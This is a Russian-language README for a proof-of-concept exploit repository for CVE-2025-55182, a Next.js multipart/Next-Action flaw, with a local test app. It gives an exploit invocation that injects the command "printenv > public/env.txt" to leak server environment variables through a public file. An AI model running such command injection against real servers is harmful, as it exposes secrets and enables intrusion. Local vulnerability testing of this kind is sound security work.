
Эксплойт для проверки концепции уязвимости CVE-2025-55182, направленный на обработку multipart/Next-Action в Next.js, с демонстрационным скриптом локальной инъекции команд.
Небольшой репозиторий, содержащий:
test-app/: тестовое приложение Next.js 16 (React 19) с использованием App Router.exploit.js: локальный скрипт PoC, используемый для демонстрации и тестирования поведения сервера при обработке multipart/Next-Action. Предназначен только для локального тестирования.rsc-test-app/
├─ README.md # Вы здесь
├─ exploit.js # PoC скрипт (только для локального использования)
└─ test-app/ # Next.js приложение
├─ app/ # Страницы App Router
├─ public/ # Статические ресурсы (и env.txt при генерации)
├─ package.json # Next 16 / React 19
└─ README.md # Стандартный README шаблона Next.js
cd test-app
npm install
npm run dev
# Приложение будет доступно по адресу http://localhost:3000
npm run build
npm start
Этот скрипт формирует multipart-запрос с заголовком Next-Action для проверки поведения сервера. По умолчанию он пытается выполнить команду на серверном процессе, которая записывает окружение в public/env.txt (для демонстрации в локальной/тестовой среде).
Важные замечания:
public/ разрешается как test-app/public/.В отдельном терминале убедитесь, что Next.js приложение работает на http://localhost:3000:
cd test-app
npm run dev
Из корня репозитория выполните скрипт:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
Параметры:
http://localhost:3000.sh -lc 'printenv > public/env.txt'.После запуска проверьте сгенерированный файл:
открыв
http://localhost:3000/env.txt
И вот вы получили переменные окружения сервера.